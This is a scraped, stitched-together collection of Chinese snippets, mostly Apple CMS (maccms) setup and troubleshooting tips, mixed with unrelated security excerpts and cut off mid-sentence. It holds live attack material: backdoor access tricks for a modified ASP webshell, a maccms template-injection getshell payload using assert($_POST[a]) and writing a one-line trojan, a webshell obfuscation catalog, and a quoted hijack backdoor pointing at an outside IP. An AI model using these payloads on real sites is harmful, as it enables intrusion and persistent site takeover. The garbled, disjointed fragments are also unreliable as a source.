80SEC剑心修改过世界杀毒版 http://wwwxx.cn/1.asp?web2a2dmin=//?web2a2dmin=//1.asp  绕过 不灭之魂的后门 1.在错误页面右键可以查看密码 2.xx.asp?profile=a 查看密码 3.xx.asp?i=c 菜刀填写c可以连接 4.直接登录界面查看源码可以看到密码

苹果cms系统,是目前很多电影网站都在使用的一套网站系统,开源,免费,扩展性较好,支持一键采集,伪静态化,高并发的同时承载,获得的很多站长的喜欢,于近日被网站安全检测发现,maccms存在网站漏洞,sql注入盲射获取数据库的管理员账号密码,关于该漏洞的详情,我们仔细分析看下. maccms漏洞分析与修复 苹果CMS采用的是php语言开发的代码,使用的数据库是mysql类型,这种架构是比较常用的,也是比较稳定的,但是在安全方面出现的问题是比较多的,这次发现的是sql注入漏洞,在网站的根目录下的in

1,苹果cms开启防红跳转后,提示模板文件不存在(如下图)这是因为你使用的模板里面缺少苹果cms自带的防红跳转模板导致,遇到这种状况后需要把苹果cms默认自带的( template/default_pc/html/public/browser.html )防红跳转模板复制到新模板对应目录里面然后在配置即可. 2,也可以直接下载我们为你提取出来的防红跳转模板,上传到你的新模板目录内即可. 蓝奏云盘下载链接:https://www.lanzous.com/i6v896f

1,模板文件不存在很显然就是模板缺少文件导致,缺少什么文件一般都会提示.(如上图)点击首页的时,有的能进入播放页  有的提示(上图) 模版文件不存在:public/jump.html 通过查询苹果cms模板标签(下图)得知缺少跳转提示页模板,大概率原因是因为没有会员权限和错误提示导致跳转,然而又缺少跳转模板所以就会有了上图的提示. 2,怎么解决呢?有以下2种解决方法.解决方法1:如果不需要会员登陆模块可以按照下面的操作步骤关闭会员功能即可. 3,解决方法2:按照路径把苹果cms默认模板的publ

今天我们来简单分享下苹果cms怎么上传本地视频,采集资源站的资源我们已经熟知了,但是有的伙伴们想要上传自己制作或是录制的视频应该怎么操作呢?这个问题有多种方法,今天我们先简单的说2种方法. 一,上传到自己的服务器 ①第一种呢就是把视频上传到自己的服务器,格式最好是mp4格式.我这里用的是宝塔来举例,其他的呢大同小异,理解了逻辑其他都能操作.首先来到我们的宝塔面板我这里有2个测试站点 我们随便点开一个根目录上传即可. ②红框内就是我刚刚上传的视频文件,我直接上传到网站的跟目录,由此这个视频的链接就

苹果CMS程序是一套采用PHP+MYSQL环境下运行的完善而强大的快速建站系统.经过近多年的开发经验和技术积累,苹果CMS程序已逐步走向成熟,在易用性和功能上已经成为同行中的佼佼者.程序体积小->优化程序代码,运行速度快->高效的缓存处理,只要普通的虚拟主机就可以完美搭建起来,建站成本非常低.仿MVC模板分离,内置标签,自定义函数标签接口,强大的自定义采集功能,只要你会HTML就可以轻松做出个性化的网站. 程序易用性和功能上一直以来都积极采纳广大站长提出的各种好的建议,迅速响应各种紧急问题,我

本篇将主要讲解使用过程中普遍遇到的“问题”,这些问题并非是BUG,通常是需要我们自己去注意的一些点.(会结合用户反馈持续补充)http://www.maccms.com/doc/v10/faq.html 快速安装 获得 苹果CMS 后,将其完整地部署到你的网站目录,然后访问网站,即可自动跳转到安装页面install.php. 输入事先准备好的mysql数据库账户密码,即可一键安装. 常见疑问 JavaScript 1,由于采用最新的TP框架,所以php版本建议5.6以上,上传文件时需要开启fil

1,首先添加一个新分类,分类的名称填写“电视直播”[状态:选启用].这里要注意下面的分类模板和播放模板需要修改一下名称.即在默认名称前面添加 " v_" 即v加下划线即可. 2,刚添加的新分类是没有游客权限的,也就是必须要开通下权限才可以方便观看电视直播. 3,添加TV电视直播源链接步骤:后台视频>>视频数据>>添加>>[参数:选择我们刚添加的新分类“电视直播”][标题:填写要添加的电视台名称][图片:上传准备好的电视台台标] 重点说下tv电视视频源

听说这个好!php+mysql的 下载 http://www.maccms.com/down.html 下载之后解压到你的网站跟目录中,就像这个样子的   后台目录 然后重要的一步来了,在ftp工具上找到你网站的跟目录,一般为www或者html这样的目录,单击右键,选择属性,在弹出的界面上将所有权限打钩,并勾选将更改循环到子文件夹和文件!!!这个要切记,因为我一开始就没有这么做,后来就导致后台在修改一些信息的时候修改不了,提示什么“无法写入文件请重试”,一般后台操作都是没有问题的,只要它提示什么

配置好权限,搞了半天,一直以为是容器镜像的问题 sudo chgrp -hR www-data maccms10 启动容器 docker run --rm -d --network=isolated_network --name maccms -p 7777:80 -v ~/projects/php/maccms10:/app -v ~/dev/docker/docker_dev_env/conf/nginx-php/nginx-vhosts/:/opt/docker/etc/nginx/vho

百度主动推送的代码,不需要每天手动去添加地址推送,只要浏览器打开推送请求,不要关掉浏览器,程序自动帮你推送.(该插件只推送内容页,支持动态.伪静态.静态页面的推送,但这三种地址规则需要去代码里面自行拼接)下面来说下,用这个插件注意事项:1.首先要在数据库表名2.下面是一些代码上的注意事项,下面的代码只是部分需要注意的代码 <?php require_once("include/common.php"); require_once("include/main.class.

1,来到系统后台>>系统>>播放器参数设置  可以看到添加预加载和缓冲广告的输入框.文件格式为html 自己写一个html的网页上传到网站进行调用即可.链接前面不要加http或是htpps .还可以设置预加载广告的时长. 2,如果不会写html广告单页的话可以参照下面的简单模板来填写下,首先在桌面新建一个txt文本把这些代码复制到文本里面从“①填写自己要加载的网址”开始修改到⑥图片高度,图片边框,高度和宽度数值填写为0-1000的数字.修改完后把txt文本格式修改为html格式即可

getshell payload(a): http://0-sec.org/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A} POST a=phpinfo()写入网站根目录一句话木马文件payload(文件名:test.php,密码:test): http://0-sec.org/index.php?m=vod-search&wd={if-A:print(fputs%28fopen%28base64_decode%28d

catalog . Active Server Page(ASP) . ASP.NET . ASP WEBSHELL变形方式 . ASPX WEBSHELL变形方式 . webshell中常见的编码转换隐藏方式 0. Active Server Page(ASP) ASP是动态服务器页面(Active Server Page),是微软公司开发的代替CGI脚本程序的一种应用,它可以与数据库和其它程序进行交互,是一种简单.方便的编程工具.ASP的网页文件的格式是 .asp.现在常用于各种动态网站中

首先声明下,对接公众号的话需要自行注册公众号“订阅号”  对接失败的原因大多是域名变红导致!简单的测试方法就是把域名链接发给qq好友或是qq群里看看有没有变红 域名变红以后大概率不会对接成功的,请知悉. 此文摘自:(https://www.mytheme.cn/article/155.html) 1,来到苹果cms后台>[系统]>>[微信对接配置]设置好需要对接的域名,需要注意的是 对接TOKEN:可自定义填写但是一定要和微信端TOKEN填写一致 区分大小写 不然会对接失败这个就相当于对

作者:RedFree 最近的工作需要将乌云历史上比较有含金量的漏洞分析出来,顺便对其它的数据进行了下分析:统计往往能说明问题及分析事物的发展规律,所以就有了此文.(漏洞数据抓取自乌云主站,漏洞编号从1-121018,抓取用时8h.)  1.漏洞总数SELECT count(*) FROM AllBugs     漏洞总数59630,编号数121018,所以审核通过率=59630/121018=0.49.27%.想想审核也够苦B的,每两个漏洞就有一个不合格…… 2.漏洞数量分析(sql没学好,不要

经验证:www.maccmsv10应该是个山寨站 -------------------- 前言 苹果CMS是国内优秀的开源PHP建站系统,擅长电影程序影视系统这一块,在主流建站系统中特色鲜明,以灵活.小巧.兼容性好.负载强等优点而深受许多站长的喜爱.... 好吧,我还是直说吧,了解该cms的人都知道,很多huangwang喜欢用这套cms.而我国马上七十周年了,作为祖国的花骨朵儿.党未来的接班人,我觉得我有必要为祖国做一些力所能及的事情,于是决定审计下该套系统然后xxoo,结果没发现高危漏洞倒

起因 对这件事情的起因是某天我渗透了一个大站,第二天进webshell时就发现,当前目录出现了新的后门,仔细一查,发现是博彩团伙干的,网站被全局劫持黑帽程序如下代码 set_time_limit();error_reporting(); define('u_b','/'); define('s_u','http:// 107.182.228.74/'); define('s_s','@haosou.com|360.cn| spider|360spider|so|360|sogou|sm.cn|y

目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 简单描述这个漏洞 . /include/general.inc.php //本地变量注册 foreach(array('_POST','_GET') as $_request) { foreach($$_request as $k => $v) { $k{} != '_' && $$k = maddslashes($v); } } /* 这里实现了模拟GPC功能,将用

“帝国”CMS是一套著名的PHP整站程序,是国内使用人数最多的PHPCMS程序之一.令人无奈的是,“帝国”虽然把势力壮大了,却忽略了自身防护的建设,结果在黑客攻击下,“帝国”沦陷了.“帝国”CMS曝出的漏洞能够让黑客在1分钟内拿到管理员的账户密码,之后更能轻松获取webshell.下面让我们一起来对“帝国”CMS进行一次入侵检测. 漏洞的成因: 都说安全是一个整体,千里之堤毁于蚁穴,往往一个看似坚不可摧的网站系统,在某个不被注意的角落出现了一个极小的疏忽,结果导致整个网站被黑客攻陷.“帝国”CM

前言 php代码审计介绍:顾名思义就是检查php源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞. 1.环境搭建: 工欲善其事必先利其器,先介绍代码审计必要的环境搭建 审计环境 windows环境(windows7+Apache+MySQL+php) phpstudy(任何php集成开发环境都可以,),notepad++, seay源代码审计系统 审计环境 linux环境(Apache+MySQL+php) 我用的是kail linux apache与mysql已经集成在linux上了